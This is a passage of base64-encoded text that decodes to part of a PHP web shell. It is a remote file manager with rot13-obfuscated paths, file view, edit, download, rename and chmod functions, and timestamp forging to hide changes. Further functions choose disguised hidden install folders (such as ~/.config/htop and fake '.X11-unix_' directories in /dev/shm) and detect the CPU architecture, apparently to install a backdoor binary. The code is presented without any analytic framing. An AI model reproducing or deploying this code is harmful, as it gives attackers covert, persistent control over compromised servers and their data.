JzaXplIikgcmV0dXJuIEBzdHJjbXAoc3RydG9sb3dlcigkYVskc29ydFBhcmFtc1swXV0pLCBzdHJ0b2xvd2VyKCRiWyRzb3J0UGFyYW1zWzBdXSkpICogKCRzb3J0UGFyYW1zWzFdID8gMSA6IC0xKTsKICAgICAgICAgICAgZWxzZSByZXR1cm4gKCRhWyJzaXplIl0gPCAkYlsic2l6ZSJdID8gLTEgOiAxKSAqICgkc29ydFBhcmFtc1sxXSA/IDEgOiAtMSk7CiAgICAgICAgfTsKICAgICAgICBAdXNvcnQoJGZpbGVMaXN0LCAkY21wRnVuYyk7IEB1c29ydCgkZGlycywgJGNtcEZ1bmMpOwogICAgICAgICRmaWxlTGlzdCA9IEBhcnJheV9tZXJnZSgkZGlycywgJGZpbGVMaXN0KTsKICAgICAgICAkYWx0ID0gMDsKICAgICAgICBmb3JlYWNoICgkZmlsZUxpc3QgYXMgJGl0ZW0pIHsKICAgICAgICAgICAgJGVuYyA9IHVybGVuY29kZShzdHJfcm90MTMoJGl0ZW1bIm5hbWUiXSkpOwogICAgICAgICAgICAkZW5jUGF0aCA9IHVybGVuY29kZShzdHJfcm90MTMoJGl0ZW1bInBhdGgiXSkpOwogICAgICAgICAgICAkZmlsZVVybCA9ICR0aGlzLT5nZXRGaWxlVXJsKCRpdGVtWyJwYXRoIl0pOwogICAgICAgICAgICBlY2hvICI8dHIiIC4gKCRhbHQgPyAiIGNsYXNzPWwxIiA6ICIgY2xhc3M9bDIiKSAuICI+PHRkPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9J2ZbXScgdmFsdWU9XCIiIC4gJGVuYyAuICJcIiBjbGFzcz1jaGtieD48L3RkPiI7CiAgICAgICAgICAgIGlmICgkaXRlbVsidHlwZSJdID09ICJkaXIiKSBlY2hvICI8dGQ+PGEgaHJlZj0jIG9uY2xpY2s9XCJnKCdmbScsJyIgLiAkZW5jUGF0aCAuICInLCcnLCcnLCcnKVwiPiIgLiAiPGI+WyAiIC4gaHRtbHNwZWNpYWxjaGFycygkaXRlbVsibmFtZSJdKSAuICIgXTwvYj48L2E+IiAuIChpc3NldCgkaXRlbVsibGluayJdKSA/ICIgLT4gIiAuIGh0bWxzcGVjaWFsY2hhcnMoJGl0ZW1bImxpbmsiXSkgOiAiIikgLiAiPC90ZD4iOwogICAgICAgICAgICBlbHNlIGVjaG8gIjx0ZD48YSBocmVmPSMgb25jbGljaz1cImcoJ2Z0JywnIiAuICRlbmNQYXRoIC4gIicsJ3ZpZXcnLCcnLCcnKVwiPiIgLiBodG1sc3BlY2lhbGNoYXJzKCRpdGVtWyJuYW1lIl0pIC4gIjwvYT4iIC4gKGlzc2V0KCRpdGVtWyJsaW5rIl0pID8gIiAtPiAiIC4gaHRtbHNwZWNpYWxjaGFycygkaXRlbVsibGluayJdKSA6ICIiKSAuICI8L3RkPiI7CiAgICAgICAgICAgIGVjaG8gIjx0ZD4iIC4gKCRpdGVtWyJ0eXBlIl0gPT0gImRpciIgPyAiRElSIiA6ICR0aGlzLT5mb3JtYXRTaXplKCRpdGVtWyJzaXplIl0pKSAuICI8L3RkPjx0ZD48YSBocmVmPScjJyBvbmNsaWNrPVwic2hvd1RvdWNoKCciIC4gJGVuY1BhdGggLiAiJywnIiAuICRpdGVtWyJtb2RpZnkiXSAuICInKVwiIHRpdGxlPSdDbGljayB0byBjaGFuZ2UnPiIgLiAkaXRlbVsibW9kaWZ5Il0gLiAiPC9hPjwvdGQ+IjsKICAgICAgICAgICAgZWNobyAiPHRkPiIgLiAoKCRpdGVtWyJ0eXBlIl0gIT0gImRpciIgJiYgJGl0ZW1bIm5hbWUiXSAhPSAiLiIgJiYgJGl0ZW1bIm5hbWUiXSAhPSAiLi4iKSA/ICI8YSBocmVmPSciIC4gaHRtbHNwZWNpYWxjaGFycygkZmlsZVVybCkgLiAiJyB0YXJnZXQ9J19ibGFuayc+TGluazwvYT4iIDogIi0iKSAuICI8L3RkPiI7CiAgICAgICAgICAgIGVjaG8gIjx0ZD48YSBocmVmPSMgb25jbGljaz1cImcoJ2Z0JywnIiAuICRlbmNQYXRoIC4gIicsJ2NobW9kJywnJylcIj4iIC4gJGl0ZW1bInBlcm1zIl0gLiAiPC9hPjwvdGQ+PHRkPjxhIGhyZWY9IyBvbmNsaWNrPVwiZygnZnQnLCciIC4gJGVuY1BhdGggLiAiJywnZWRpdCcsJycpXCI+RWRpdDwvYT4gPGEgaHJlZj0jIG9uY2xpY2s9XCJnKCdmdCcsJyIgLiAkZW5jUGF0aCAuICInLCdyZW5hbWUnLCcnKVwiPlJlbmFtZTwvYT4gPGEgaHJlZj0jIG9uY2xpY2s9XCJpZihjb25maXJtKCdEZWxldGUgdGhpcyBpdGVtPycpKWcoJ2ZtJywnIiAuICRjd2RFbmNvZGVkIC4gIicsJ2RlbGV0ZScsJyIgLiAkZW5jIC4gIicpXCI+RGVsZXRlPC9hPjwvdGQ+PC90cj4iOwogICAgICAgICAgICAkYWx0ID0gISRhbHQ7CiAgICAgICAgfQogICAgICAgIGVjaG8gIjx0cj48dGQgY29sc3Bhbj03PjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2ZtJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSciIC4gaHRtbHNwZWNpYWxjaGFycygkY3dkRW5jb2RlZCkgLiAiJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaCB2YWx1ZT0nIiAuIChAaXNzZXQoJF9QT1NUWyJjaCJdKSA/ICRfUE9TVFsiY2giXSA6ICIiKSAuICInPjxzZWxlY3QgbmFtZT0ncCcgaWQ9J2ZtQWN0aW9uJyBvbmNoYW5nZT0ndG9nZ2xlWmlwTmFtZSgpJz48b3B0aW9uIHZhbHVlPSdkZWxldGUnPkRlbGV0ZTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J21hc3NDaG1vZCc+TWFzcyBDaG1vZDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J21hc3NaaXAnPlppcCBTZWxlY3RlZDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J21hc3NVbnppcCc+VW56aXAgU2VsZWN0ZWQ8L29wdGlvbj48L3NlbGVjdD48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nY2htb2RfdmFsJyBwbGFjZWhvbGRlcj0nMDc1NScgc2l6ZT0nNSc+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3ppcF9uYW1lJyBpZD0nemlwTmFtZUlucHV0JyBwbGFjZWhvbGRlcj0nYXJjaGl2ZS56aXAnIHNpemU9JzE1JyBzdHlsZT0nZGlzcGxheTpub25lOyc+Jm5ic3A7PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9Jz4+Jz48L3RkPjwvdHI+PC90YWJsZT48L2Zvcm0+IjsKICAgICAgICBlY2hvICI8c2NyaXB0PmZ1bmN0aW9uIHRvZ2dsZVppcE5hbWUoKXt2YXIgcz1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZm1BY3Rpb24nKTt2YXIgej1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnemlwTmFtZUlucHV0Jyk7aWYocy52YWx1ZT09J21hc3NaaXAnKXt6LnN0eWxlLmRpc3BsYXk9J2lubGluZSc7fWVsc2V7ei5zdHlsZS5kaXNwbGF5PSdub25lJzt9fTwvc2NyaXB0PiI7CiAgICAgICAgZWNobyAiPC9kaXY+IjsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gYWRkU3RyaW5nQXR0YWNobWVudCgpCiAgICB7CiAgICAgICAgJGN3ZCA9ICR0aGlzLT5tYWlsUGF0aDsKICAgICAgICAkY3dkRW5jb2RlZCA9IHN0cl9yb3QxMygkY3dkKTsKICAgICAgICAkYWN0aW9uTmFtZXMgPSBhcnJheSgndmlldycsICdlZGl0JywgJ3JlbmFtZScsICdjaG1vZCcsICd0b3VjaCcsICdkb3dubG9hZCcsICdta2ZpbGUnKTsKICAgICAgICBpZiAoQGlzc2V0KCRfUE9TVFsicCJdKSAmJiBpbl9hcnJheShzdHJ0b2xvd2VyKCRfUE9TVFsicCJdKSwgJGFjdGlvbk5hbWVzKSkgeyAkZmlsZVBhdGggPSAkX1BPU1RbImMiXTsgJGFjdGlvbiA9IHN0cnRvbG93ZXIoJF9QT1NUWyJwIl0pOyB9CiAgICAgICAgZWxzZSBpZiAoQGlzc2V0KCRfUE9TVFsicCJdKSkgeyAkZmlsZVBhdGggPSBzdHJfcm90MTModXJsZGVjb2RlKCRfUE9TVFsicCJdKSk7ICRhY3Rpb24gPSBAaXNzZXQoJF9QT1NUWyJ4Il0pID8gc3RydG9sb3dlcigkX1BPU1RbIngiXSkgOiAndmlldyc7IH0KICAgICAgICBlbHNlIHsgJGZpbGVQYXRoID0gQGlzc2V0KCRfUE9TVFsiYyJdKSA/ICRfUE9TVFsiYyJdIDogJyc7ICRhY3Rpb24gPSAndmlldyc7IH0KCiAgICAgICAgaWYgKCRhY3Rpb24gPT0gImRvd25sb2FkIikgewogICAgICAgICAgICBpZiAoQGlzX2ZpbGUoJGZpbGVQYXRoKSAmJiBAaXNfcmVhZGFibGUoJGZpbGVQYXRoKSkgewogICAgICAgICAgICAgICAgb2Jfc3RhcnQoIm9iX2d6aGFuZGxlciIsIDQwOTYpOyBAaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iIC4gQGJhc2VuYW1lKCRmaWxlUGF0aCkpOwogICAgICAgICAgICAgICAgQGhlYWRlcigiQ29udGVudC1UeXBlOiAiIC4gKGZ1bmN0aW9uX2V4aXN0cygibWltZV9jb250ZW50X3R5cGUiKSA/IEBtaW1lX2NvbnRlbnRfdHlwZSgkZmlsZVBhdGgpIDogImFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIpKTsKICAgICAgICAgICAgICAgICRoYW5kbGUgPSBAZm9wZW4oJGZpbGVQYXRoLCAiciIpOyBpZiAoJGhhbmRsZSkgeyB3aGlsZSAoIUBmZW9mKCRoYW5kbGUpKSBlY2hvIEBmZ2V0cygkaGFuZGxlLCAxMDI0KTsgQGZjbG9zZSgkaGFuZGxlKTsgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGV4aXQ7CiAgICAgICAgfQoKICAgICAgICBpZiAoJGFjdGlvbiA9PSAibWtmaWxlIiAmJiAhQGZpbGVfZXhpc3RzKCRmaWxlUGF0aCkpIHsKICAgICAgICAgICAgJG10aW1lID0gQGZpbGVtdGltZShkaXJuYW1lKCRmaWxlUGF0aCkpOyAkaGFuZGxlID0gQGZvcGVuKCRmaWxlUGF0aCwgInciKTsKICAgICAgICAgICAgaWYgKCRoYW5kbGUpIHsgQGZjbG9zZSgkaGFuZGxlKTsgaWYgKCRtdGltZSkgeyBAdG91Y2goZGlybmFtZSgkZmlsZVBhdGgpLCAkbXRpbWUsICRtdGltZSk7IEB0b3VjaCgkZmlsZVBhdGgsICRtdGltZSwgJG10aW1lKTsgfSAkYWN0aW9uID0gImVkaXQiOyB9CiAgICAgICAgfQoKICAgICAgICAkZmlsZURpciA9IGRpcm5hbWUoJGZpbGVQYXRoKTsKICAgICAgICBpZiAoJGZpbGVEaXIgJiYgQGlzX2RpcigkZmlsZURpcikpIHsKICAgICAgICAgICAgJGN3ZCA9IHJ0cmltKCRmaWxlRGlyLCAnLycpIC4gJy8nOwogICAgICAgICAgICAkY3dkRW5jb2RlZCA9IHN0cl9yb3QxMygkY3dkKTsKICAgICAgICB9CgogICAgICAgIGVjaG8gIjxoMT5GaWxlIFRvb2xzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+IjsKICAgICAgICBpZiAoIUBmaWxlX2V4aXN0cygkZmlsZVBhdGgpKSB7IGVjaG8gIkZpbGUgbm90IGV4aXN0czogIiAuIGh0bWxzcGVjaWFsY2hhcnMoJGZpbGVQYXRoKTsgcmV0dXJuOyB9CiAgICAgICAgJG93bmVyID0gQHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJGZpbGVQYXRoKSk7IGlmICghJG93bmVyKSB7ICRvd25lclsibmFtZSJdID0gQGZpbGVvd25lcigkZmlsZVBhdGgpOyAkZ3JvdXBbIm5hbWUiXSA9IEBmaWxlZ3JvdXAoJGZpbGVQYXRoKTsgfSBlbHNlIHsgJGdyb3VwID0gQHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGZpbGVQYXRoKSk7IH0KICAgICAgICAkZmlsZVVybCA9ICR0aGlzLT5nZXRGaWxlVXJsKCRmaWxlUGF0aCk7CiAgICAgICAgZWNobyAiPHNwYW4+TmFtZTo8L3NwYW4+ICIgLiBodG1sc3BlY2lhbGNoYXJzKEBiYXNlbmFtZSgkZmlsZVBhdGgpKSAuICIgPHNwYW4+U2l6ZTo8L3NwYW4+ICIgLiAoQGlzX2ZpbGUoJGZpbGVQYXRoKSA/ICR0aGlzLT5mb3JtYXRTaXplKEBmaWxlc2l6ZSgkZmlsZVBhdGgpKSA6ICItIikgLiAiIDxzcGFuPlBlcm1pc3Npb246PC9zcGFuPiAiIC4gJHRoaXMtPmdldFBlcm1zQ29sb3IoJGZpbGVQYXRoKSAuICIgPHNwYW4+T3duZXIvR3JvdXA6PC9zcGFuPiAiIC4gJG93bmVyWyJuYW1lIl0gLiAiLyIgLiAkZ3JvdXBbIm5hbWUiXSAuICI8YnI+IjsKICAgICAgICBlY2hvICI8c3Bhbj5DaGFuZ2UgdGltZTo8L3NwYW4+ICIgLiBAZGF0ZSgiWS1tLWQgSDppOnMiLCBAZmlsZWN0aW1lKCRmaWxlUGF0aCkpIC4gIiA8c3Bhbj5BY2Nlc3MgdGltZTo8L3NwYW4+ICIgLiBAZGF0ZSgiWS1tLWQgSDppOnMiLCBAZmlsZWF0aW1lKCRmaWxlUGF0aCkpIC4gIiA8c3Bhbj5Nb2RpZnkgdGltZTo8L3NwYW4+ICIgLiBAZGF0ZSgiWS1tLWQgSDppOnMiLCBAZmlsZW10aW1lKCRmaWxlUGF0aCkpOwogICAgICAgIGlmIChAaXNfZmlsZSgkZmlsZVBhdGgpKSBlY2hvICIgPHNwYW4+VVJMOjwvc3Bhbj4gPGEgaHJlZj0nIiAuIGh0bWxzcGVjaWFsY2hhcnMoJGZpbGVVcmwpIC4gIicgdGFyZ2V0PSdfYmxhbmsnPk9wZW48L2E+IjsKICAgICAgICBlY2hvICI8YnI+PGJyPiI7CiAgICAgICAgaWYgKGVtcHR5KCRhY3Rpb24pKSAkYWN0aW9uID0gInZpZXciOwogICAgICAgICRhY3Rpb25zID0gQGlzX2ZpbGUoJGZpbGVQYXRoKSA/IGFycmF5KCJWaWV3IiwgIkRvd25sb2FkIiwgIkVkaXQiLCAiQ2htb2QiLCAiUmVuYW1lIiwgIlRvdWNoIikgOiBhcnJheSgiQ2htb2QiLCAiUmVuYW1lIiwgIlRvdWNoIik7CiAgICAgICAgJGVuY0ZpbGVQYXRoID0gdXJsZW5jb2RlKHN0cl9yb3QxMygkZmlsZVBhdGgpKTsKICAgICAgICBmb3JlYWNoICgkYWN0aW9ucyBhcyAkdmFsKSBlY2hvICI8YSBocmVmPSMgb25jbGljaz1cImcoJ2Z0JywnIiAuICRjd2RFbmNvZGVkIC4gIicsJyIgLiAkZW5jRmlsZVBhdGggLiAiJywnIiAuIEBzdHJ0b2xvd2VyKCR2YWwpIC4gIicpXCI+IiAuIChAc3RydG9sb3dlcigkdmFsKSA9PSAkYWN0aW9uID8gIjxiPlsgIiAuICR2YWwgLiAiIF08L2I+IiA6ICR2YWwpIC4gIjwvYT4gIjsKICAgICAgICBlY2hvICI8YnI+PGJyPiI7CgogICAgICAgIHN3aXRjaCAoJGFjdGlvbikgewogICAgICAgICAgICBjYXNlICJ2aWV3IjogZWNobyAiPHByZSBjbGFzcz1tbDE+IjsgJGhhbmRsZSA9IEBmb3BlbigkZmlsZVBhdGgsICJyIik7IGlmICgkaGFuZGxlKSB7IHdoaWxlICghQGZlb2YoJGhhbmRsZSkpIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhAZmdldHMoJGhhbmRsZSwgMTAyNCkpOyBAZmNsb3NlKCRoYW5kbGUpOyB9IGVjaG8gIjwvcHJlPiI7IGJyZWFrOwogICAgICAgICAgICBjYXNlICJjaG1vZCI6CiAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRfUE9TVFsicyJdKSkgewogICAgICAgICAgICAgICAgICAgICRwZXJtcyA9IDA7IGZvciAoJGkgPSBzdHJsZW4oJF9QT1NUWyJzIl0pIC0gMTsgJGkgPj0gMDsgLS0kaSkgJHBlcm1zICs9IChpbnQpICRfUE9TVFsicyJdWyRpXSAqIEBwb3coOCwgc3RybGVuKCRfUE9TVFsicyJdKSAtICRpIC0gMSk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCFAY2htb2QoJGZpbGVQYXRoLCAkcGVybXMpKSBlY2hvICI8Zm9udCBjb2xvcj0ncmVkJz5DYW4ndCBzZXQgcGVybWlzc2lvbnMhPC9mb250Pjxicj48c2NyaXB0PmRvY3VtZW50Lm1mLnMudmFsdWU9XCJcIjs8L3NjcmlwdD4iOwogICAgICAgICAgICAgICAgICAgIGVsc2UgZWNobyAiPGZvbnQgY29sb3I9J2dyZWVuJz5QZXJtaXNzaW9ucyBjaGFuZ2VkITwvZm9udD48YnI+IjsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIEBjbGVhcnN0YXRjYWNoZSgpOyBlY2hvICI8c2NyaXB0PnNfPVwiXCI7PC9zY3JpcHQ+PGZvcm0gb25zdWJtaXQ9XCJnKCdmdCcsJyIgLiAkY3dkRW5jb2RlZCAuICInLCciIC4gJGVuY0ZpbGVQYXRoIC4gIicsJ2NobW9kJyx0aGlzLmNobW9kLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWNobW9kIHZhbHVlPVwiIiAuIHN1YnN0cihAc3ByaW50ZigiJW8iLCBAZmlsZXBlcm1zKCRmaWxlUGF0aCkpLCAtNCkgLiAiXCI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVwiPj5cIj48L2Zvcm0+IjsgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgImVkaXQiOgogICAgICAgICAgICAgICAgaWYgKCFAaXNfd3JpdGFibGUoJGZpbGVQYXRoKSkgeyBlY2hvICI8Zm9udCBjb2xvcj0ncmVkJz5GaWxlIGlzbid0IHdyaXRlYWJsZTwvZm9udD4iOyBicmVhazsgfQogICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkX1BPU1RbInMiXSkpIHsKICAgICAgICAgICAgICAgICAgICAkbXRpbWUgPSBAZmlsZW10aW1lKCRmaWxlUGF0aCk7ICRfUE9TVFsicyJdID0gc3Vic3RyKCRfUE9TVFsicyJdLCAxKTsgJF9QT1NUWyJzIl0gPSBAYmFzZTY0X2RlY29kZSgkX1BPU1RbInMiXSk7CiAgICAgICAgICAgICAgICAgICAgJGhhbmRsZSA9IEBmb3BlbigkZmlsZVBhdGgsICJ3Iik7IGlmICgkaGFuZGxlKSB7IEBmcHV0cygkaGFuZGxlLCAkX1BPU1RbInMiXSk7IEBmY2xvc2UoJGhhbmRsZSk7IGVjaG8gIjxmb250IGNvbG9yPSdncmVlbic+RmlsZSBzYXZlZCE8L2ZvbnQ+PGJyPiI7IGlmICgkbXRpbWUpIEB0b3VjaCgkZmlsZVBhdGgsICRtdGltZSwgJG10aW1lKTsgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWNobyAiPGZvcm0gb25zdWJtaXQ9XCJ0aGlzLnMudmFsdWU9J18nK3V0b2EodGhpcy50ZXh0LnZhbHVlKTtnKCdmdCcsJyIgLiAkY3dkRW5jb2RlZCAuICInLCciIC4gJGVuY0ZpbGVQYXRoIC4gIicsJ2VkaXQnLHRoaXMucy52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXM+PHRleHRhcmVhIG5hbWU9dGV4dCBjbGFzcz0nYmlnYXJlYSc+IjsKICAgICAgICAgICAgICAgICRoYW5kbGUgPSBAZm9wZW4oJGZpbGVQYXRoLCAiciIpOyBpZiAoJGhhbmRsZSkgeyB3aGlsZSAoIUBmZW9mKCRoYW5kbGUpKSBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoQGZnZXRzKCRoYW5kbGUsIDEwMjQpKTsgQGZjbG9zZSgkaGFuZGxlKTsgfQogICAgICAgICAgICAgICAgZWNobyAiPC90ZXh0YXJlYT48YnI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdTYXZlJz48L2Zvcm0+IjsgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgInJlbmFtZSI6CiAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRfUE9TVFsicyJdKSkgewogICAgICAgICAgICAgICAgICAgICRtdGltZSA9IEBmaWxlbXRpbWUoJGZpbGVQYXRoKTsgJG5ld05hbWUgPSBzdHJfcm90MTMoJF9QT1NUWyJzIl0pOwogICAgICAgICAgICAgICAgICAgIGlmICghQHJlbmFtZSgkZmlsZVBhdGgsICRuZXdOYW1lKSkgZWNobyAiPGZvbnQgY29sb3I9J3JlZCc+Q2FuJ3QgcmVuYW1lITwvZm9udD48YnI+IjsKICAgICAgICAgICAgICAgICAgICBlbHNlIHsgZWNobyAiPGZvbnQgY29sb3I9J2dyZWVuJz5SZW5hbWVkITwvZm9udD48YnI+IjsgJGZpbGVQYXRoID0gJG5ld05hbWU7IGlmICgkbXRpbWUpIEB0b3VjaCgkZmlsZVBhdGgsICRtdGltZSwgJG10aW1lKTsgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgQGNsZWFyc3RhdGNhY2hlKCk7ICRkaXJQYXRoID0gZGlybmFtZSgkZmlsZVBhdGgpOyAkZmlsZU5hbWUgPSBiYXNlbmFtZSgkZmlsZVBhdGgpOwogICAgICAgICAgICAgICAgZWNobyAiPGZvcm0gb25zdWJtaXQ9XCJnKCdmdCcsJyIgLiAkY3dkRW5jb2RlZCAuICInLCciIC4gJGVuY0ZpbGVQYXRoIC4gIicsJ3JlbmFtZScscm90MTMoJyIgLiBodG1sc3BlY2lhbGNoYXJzKCRkaXJQYXRoKSAuICIvJyArIHRoaXMubmFtZS52YWx1ZSkpO3JldHVybiBmYWxzZTtcIj48aW5wdXQgdHlwZT10ZXh0IG5hbWU9bmFtZSB2YWx1ZT1cIiIgLiBodG1sc3BlY2lhbGNoYXJzKCRmaWxlTmFtZSkgLiAiXCIgc3R5bGU9J3dpZHRoOjQwMHB4Oyc+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVwiPj5cIj48L2Zvcm0+IjsgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgInRvdWNoIjoKICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJF9QT1NUWyJzIl0pKSB7CiAgICAgICAgICAgICAgICAgICAgJG10aW1lID0gQHN0cnRvdGltZSgkX1BPU1RbInMiXSk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRtdGltZSkgeyBpZiAoIUB0b3VjaCgkZmlsZVBhdGgsICRtdGltZSwgJG10aW1lKSkgZWNobyAiPGZvbnQgY29sb3I9J3JlZCc+RmFpbCE8L2ZvbnQ+IjsgZWxzZSBlY2hvICI8Zm9udCBjb2xvcj0nZ3JlZW4nPlRvdWNoZWQhPC9mb250PiI7IH0KICAgICAgICAgICAgICAgICAgICBlbHNlIGVjaG8gIjxmb250IGNvbG9yPSdyZWQnPkJhZCB0aW1lIGZvcm1hdCE8L2ZvbnQ+IjsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIEBjbGVhcnN0YXRjYWNoZSgpOyBlY2hvICI8c2NyaXB0PnNfPVwiXCI7PC9zY3JpcHQ+PGZvcm0gb25zdWJtaXQ9XCJnKCdmdCcsJyIgLiAkY3dkRW5jb2RlZCAuICInLCciIC4gJGVuY0ZpbGVQYXRoIC4gIicsJ3RvdWNoJyx0aGlzLnRvdWNoLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXRvdWNoIHZhbHVlPVwiIiAuIEBkYXRlKCJZLW0tZCBIOmk6cyIsIEBmaWxlbXRpbWUoJGZpbGVQYXRoKSkgLiAiXCI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVwiPj5cIj48L2Zvcm0+IjsgYnJlYWs7CiAgICAgICAgfQogICAgICAgIGVjaG8gIjwvZGl2PiI7CiAgICB9CgogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGZpbmRHc0hvbWVEaXIoKSB7CiAgICAgICAgJGhvbWVEaXIgPSBAZ2V0ZW52KCdIT01FJykgPzogKEBnZXRlbnYoJ1VTRVJQUk9GSUxFJykgPzogJycpOwogICAgICAgIGlmIChlbXB0eSgkaG9tZURpcikpIHsKICAgICAgICAgICAgJHVzZXJJbmZvID0gQHBvc2l4X2dldHB3dWlkKEBwb3NpeF9nZXR1aWQoKSk7CiAgICAgICAgICAgIGlmICgkdXNlckluZm8gJiYgIWVtcHR5KCR1c2VySW5mb1snZGlyJ10pKSB7CiAgICAgICAgICAgICAgICAkaG9tZURpciA9ICR1c2VySW5mb1snZGlyJ107CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgaWYgKGVtcHR5KCRob21lRGlyKSkgewogICAgICAgICAgICAkaG9tZURpciA9ICcvcm9vdCc7CiAgICAgICAgfQogICAgICAgIHJldHVybiAkaG9tZURpcjsKICAgIH0KCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gZmluZEdzSW5zdGFsbERpcigpIHsKICAgICAgICAkaG9tZURpciA9ICR0aGlzLT5maW5kR3NIb21lRGlyKCk7CiAgICAgICAgJGNvbmZpZ0RpciA9ICRob21lRGlyIC4gJy8uY29uZmlnL2h0b3AnOwogICAgICAgIGlmICghQGlzX2RpcigkY29uZmlnRGlyKSkgewogICAgICAgICAgICBAbWtkaXIoJGNvbmZpZ0RpciwgMDcwMCwgdHJ1ZSk7CiAgICAgICAgfQogICAgICAgIGlmIChAaXNfZGlyKCRjb25maWdEaXIpICYmIEBpc193cml0YWJsZSgkY29uZmlnRGlyKSkgewogICAgICAgICAgICByZXR1cm4gJGNvbmZpZ0RpcjsKICAgICAgICB9CiAgICAgICAgJGFsdERpcnMgPSBbCiAgICAgICAgICAgICRob21lRGlyIC4gJy8uY29uZmlnJywKICAgICAgICAgICAgJGhvbWVEaXIgLiAnLy5sb2NhbC9zaGFyZScsCiAgICAgICAgICAgICRob21lRGlyIC4gJy8uY2FjaGUnLAogICAgICAgICAgICAkaG9tZURpciwKICAgICAgICBdOwogICAgICAgIGZvcmVhY2ggKCRhbHREaXJzIGFzICRkaXIpIHsKICAgICAgICAgICAgaWYgKCFAaXNfZGlyKCRkaXIpKSB7CiAgICAgICAgICAgICAgICBAbWtkaXIoJGRpciwgMDcwMCwgdHJ1ZSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKEBpc19kaXIoJGRpcikgJiYgQGlzX3dyaXRhYmxlKCRkaXIpKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gJGRpcjsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAkZmFsbGJhY2tEaXJzID0gWycvZGV2L3NobScsICcvdmFyL3RtcCcsICcvdG1wJ107CiAgICAgICAgZm9yZWFjaCAoJGZhbGxiYWNrRGlycyBhcyAkZGlyKSB7CiAgICAgICAgICAgIGlmIChAaXNfZGlyKCRkaXIpICYmIEBpc193cml0YWJsZSgkZGlyKSkgewogICAgICAgICAgICAgICAgJHN1YkRpciA9ICRkaXIgLiAnLy5YMTEtdW5peF8nIC4gc3Vic3RyKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLCAwLCA2KTsKICAgICAgICAgICAgICAgIGlmICghQGlzX2Rpcigkc3ViRGlyKSkgewogICAgICAgICAgICAgICAgICAgIEBta2Rpcigkc3ViRGlyLCAwNzAwLCB0cnVlKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmIChAaXNfZGlyKCRzdWJEaXIpICYmIEBpc193cml0YWJsZSgkc3ViRGlyKSkgewogICAgICAgICAgICAgICAgICAgIHJldHVybiAkc3ViRGlyOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgcmV0dXJuICRkaXI7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgcmV0dXJuICcvdG1wJzsKICAgIH0KCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gZ2V0R3NBcmNoKCkgewogICAgICAgICR1bmFtZSA9ICR0aGlzLT5leGVjdXRlQ29tbWFuZCgndW5hbWUgLW0gMj4vZGV2L251bGwnKTsKICAgICAgICAkdW5hbWUgPSBzdHJ0b2xvd2VyKHRyaW0oJHVuYW1lKSk7CiAgICAgICAgaWYgKHN0cnBvcygkdW5hbWUsICd4ODZfNjQnKSAhPT0gZmFsc2UgfHwgc3RycG9zKCR1bmFtZSwgJ2FtZDY0JykgIT09IGZhbHNlKSByZXR1cm4gJ3g4Nl82NCc7CiAgICAgICAgaWYgKHN0cnBvcygkdW5hbWUsICdhYXJjaDY0JykgIT09IGZhbHNlIHx8IHN0cnBvcygkdW5hbWUsICdhcm02NCcpICE9PSBmYWxzZSkgcmV0dXJuICdhYXJjaDY0JzsKICAgICAgICBpZiAoc3RycG9zKCR1bmFtZSwgJ2FybXY3JykgIT09IGZhbHNlIHx8IHN0cnBvcygkdW5hbWUsI